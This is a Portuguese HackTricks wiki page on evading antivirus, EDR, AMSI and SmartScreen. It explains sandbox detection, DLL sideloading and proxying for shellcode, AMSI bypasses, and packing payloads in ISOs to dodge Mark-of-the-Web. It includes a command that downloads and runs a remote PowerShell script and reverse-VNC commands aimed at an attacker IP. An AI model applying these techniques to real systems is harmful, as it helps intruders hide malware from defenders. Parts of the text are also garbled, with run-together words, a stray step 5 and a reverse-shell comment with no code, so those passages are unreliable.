<summary><strong>Aprenda hacking AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é malicioso ou não, detecção estática, análise dinâmica e, para os EDRs mais avançados, análise comportamental.
A detecção estática é alcançada marcando strings maliciosas conhecidas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo, descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer com que você seja pego mais facilmente, pois provavelmente foram analisadas e marcadas como maliciosas. Existem algumas maneiras de contornar esse tipo de detecção:
Se você criptografar o binário, não haverá maneira do AV detectar seu programa, mas você precisará de algum tipo de carregador para descriptografar e executar o programa na memória.
Às vezes, tudo que você precisa fazer é alterar algumas strings em seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada, dependendo do que você está tentando ofuscar.
Uma boa maneira de verificar contra a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Basicamente, ele divide o arquivo em vários segmentos e depois solicita ao Defender para escanear cada um individualmente, dessa forma, ele pode dizer exatamente quais são as strings ou bytes marcados em seu binário.
Recomendo muito que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão de AV na prática.
A análise dinâmica ocorre quando o AV executa seu binário em uma sandbox e observa atividades maliciosas (por exemplo, tentando descriptografar e ler as senhas do seu navegador, realizando um minidespejo no LSASS, etc.). Esta parte pode ser um pouco mais complicada de lidar, mas aqui estão algumas coisas que você pode fazer para evitar as sandboxes.
* **Atraso antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar atrasos longos pode perturbar a análise de binários. O problema é que muitas sandboxes de AV podem simplesmente pular o atraso, dependendo de como é implementado.
* **Verificação dos recursos da máquina** Geralmente, as sandboxes têm recursos muito limitados para trabalhar (por exemplo, <2GBdeRAM),casocontrário,poderiamretardaramáquinadousuário.Vocêtambémpodesermuitocriativoaqui,porexemplo,verificandoatemperaturadaCPUouatémesmoasvelocidadesdoventilador,nemtudoseráimplementadonasandbox.
* **Verificações específicas da máquina** Se você deseja segmentar um usuário cuja estação de trabalho está associada ao domínio "contoso.local", você pode verificar o domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador em seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro da sandbox do defender, então você pode fazer seu programa sair.
Por exemplo, se você deseja despejar o LSASS, **você realmente precisa usar o mimikatz**? Ou você poderia usar um projeto diferente que seja menos conhecido e também despeje o LSASS.
A resposta correta provavelmente é a última opção. Tomando o mimikatz como exemplo, ele é provavelmente um dos, se não o mais marcado malware pelos AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então procure alternativas para o que você está tentando alcançar.
Ao modificar seus payloads para evasão, certifique-se de **desativar o envio automático de amostras** no defender, e por favor, seriamente, **NÃO FAÇA UPLOAD NO VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se você deseja verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar o envio automático de amostras e teste lá até ficar satisfeito com o resultado.
Sempre que possível, **priorize o uso de DLLs para evasão**, em minha experiência, os arquivos DLL são geralmente **muito menos detectados** e analisados, então é um truque muito simples de usar para evitar detecção em alguns casos (se seu payload tiver alguma maneira de ser executado como uma DLL, é claro).
Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
<figure><imgsrc="../.gitbook/assets/image (6) (3) (1).png"alt=""><figcaption><p>comparação antiscan.me de um payload EXE normal do Havoc vs um DLL normal do Havoc</p></figcaption></figure>
**DLL Sideloading** aproveita a ordem de pesquisa de DLL usada pelo carregador posicionando tanto o aplicativo vítima quanto as cargas maliciosas lado a lado.
Eu recomendo fortemente que você **explore os programas suscetíveis a DLL Hijacking/Sideloadable por conta própria**, essa técnica é bastante furtiva se feita corretamente, mas se você usar programas DLL Sideloadable conhecidos publicamente, pode ser facilmente descoberto.
Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não carregará sua carga útil, pois o programa espera algumas funções específicas dentro dessa DLL. Para corrigir esse problema, usaremos outra técnica chamada **DLL Proxying/Forwarding**.
**DLL Proxying** encaminha as chamadas que um programa faz do DLL proxy (e malicioso) para o DLL original, preservando assim a funcionalidade do programa e sendo capaz de lidar com a execução de sua carga útil.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
Tanto nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) quanto a DLL de proxy têm uma taxa de detecção de 0/26 no [antiscan.me](https://antiscan.me)! Eu chamaria isso de um sucesso.
Eu **recomendo fortemente** que você assista ao [VOD do twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também [o vídeo de ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender mais sobre o que discutimos de forma mais aprofundada.
`Freeze é um kit de ferramentas de payload para contornar EDRs usando processos suspensos, chamadas de sistema diretas e métodos de execução alternativos`
A evasão é apenas um jogo de gato e rato, o que funciona hoje pode ser detectado amanhã, então nunca confie em apenas uma ferramenta, se possível, tente encadear várias técnicas de evasão.
AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless\_malware)". Inicialmente, os AVs eram capazes de escanear apenas **arquivos em disco**, então se você conseguisse executar payloads **diretamente na memória**, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produzirá o seguinte alerta no Windows Defender.
Como o AMSI funciona principalmente com detecções estáticas, modificar os scripts que você tenta carregar pode ser uma boa maneira de evitar a detecção.
No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo se tiver várias camadas, então a ofuscação pode ser uma má opção dependendo de como é feita. Isso torna não tão direto de evitar. Embora, às vezes, tudo que você precisa fazer é mudar alguns nomes de variáveis e você estará bem, então depende de quanto algo foi sinalizado.
Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível manipulá-lo facilmente mesmo sendo executado como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, pesquisadores encontraram várias maneiras de evitar a verificação do AMSI.
Forçar a inicialização do AMSI a falhar (amsiInitFailed) fará com que nenhuma verificação seja iniciada para o processo atual. Originalmente isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para evitar um uso mais amplo.
Tudo o que foi necessário foi uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Esta linha, é claro, foi sinalizada pelo próprio AMSI, então algumas modificações são necessárias para usar essa técnica.
Esta técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/\_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-la com instruções para retornar o código para E\_INVALIDARG, dessa forma, o resultado da verificação real retornará 0, o que é interpretado como um resultado limpo.
Por favor, leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
Existem também muitas outras técnicas usadas para contornar o AMSI com o powershell, confira [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) e [este repositório](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender mais sobre elas.
Existem várias ferramentas que podem ser usadas para **ofuscar código C# em texto claro**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados** como:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto do [LLVM](http://www.llvm.org/) capaz de fornecer maior segurança de software através da [ofuscação de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) e proteção contra adulteração.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, em tempo de compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
* [**obfy**](https://github.com/fritzone/obfy): Adicione uma camada de operações ofuscadas geradas pelo framework de metaprogramação de modelos C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador binário x64 capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame é um mecanismo simples de código metamórfico para executáveis arbitrários.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de granularidade fina para idiomas suportados pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Criptografador .NET PE escrito em Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e então carregá-los
O Microsoft Defender SmartScreen é um mecanismo de segurança destinado a proteger o usuário final contra a execução de aplicativos potencialmente maliciosos.
O SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicativos baixados incomumente acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em Mais Informações -> Executar mesmo assim).
**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) com o nome de Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, juntamente com a URL de onde foi baixado.
<figure><imgsrc="../.gitbook/assets/image (13) (3).png"alt=""><figcaption><p>Verificando o ADS Zone.Identifier de um arquivo baixado da internet.</p></figcaption></figure>
Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web é embalá-los dentro de algum tipo de contêiner como um ISO. Isso acontece porque o Mark-of-the-Web (MOTW) **não** pode ser aplicado a volumes **não NTFS**.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em contêineres de saída para evitar o Mark-of-the-Web.
Aqui está uma demonstração de como contornar o SmartScreen empacotando payloads dentro de arquivos ISO usando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas pós-exploração sem ser detectado pelo AV.
A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já fornece a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:
Envolve **iniciar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, encerrar o novo processo. Isso tem seus benefícios e suas desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que se algo der errado ou for detectado em nossa ação de pós-exploração, há uma **maior chance** de nosso **implante sobreviver**. A desvantagem é que você tem uma **maior chance** de ser detectado por **Detecções Comportamentais**.
Trata-se de injetar o código malicioso de pós-exploração **em seu próprio processo**. Dessa forma, você pode evitar ter que criar um novo processo e fazê-lo ser escaneado pelo AV, mas a desvantagem é que se algo der errado com a execução do seu payload, há uma **maior chance** de **perder seu beacon** pois ele pode travar.
Se você deseja ler mais sobre o carregamento de Assembleias C#, confira este artigo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e seu BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Você também pode carregar Assembleias C# **do PowerShell**, confira [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e [vídeo do S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Conforme proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo Atacante**.
Ao permitir o acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.
O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso aleatórios e não ofuscados nessas linguagens têm sido bem-sucedidos.
A evasão é um tópico muito complicado, às vezes é necessário levar em consideração muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
Eu recomendo fortemente que você assista a esta palestra do [@ATTL4S](https://twitter.com/DaniLJ94), para obter uma introdução a técnicas de Evasão Avançadas.
Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que irá **remover partes do binário** até descobrir qual parte o Defender está considerando como maliciosa e dividir isso para você.\
Outra ferramenta que faz a **mesma coisa é** [**avred**](https://github.com/dobin/avred) com um serviço aberto na web em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma conexão **VNC reversa**. Então, dentro do **alvo**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
* Não inicie `winvnc` se já estiver em execução ou você acionará um [popup](https://i.imgur.com/1SROTTl.png). verifique se está em execução com `tasklist | findstr winvnc`
* Não inicie `winvnc` sem o `UltraVNC.ini` no mesmo diretório ou abrirá [a janela de configuração](https://i.imgur.com/rfMQWcf.png)
* Não execute `winvnc -h` para obter ajuda ou você acionará um [popup](https://i.imgur.com/oc18wcu.png)
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
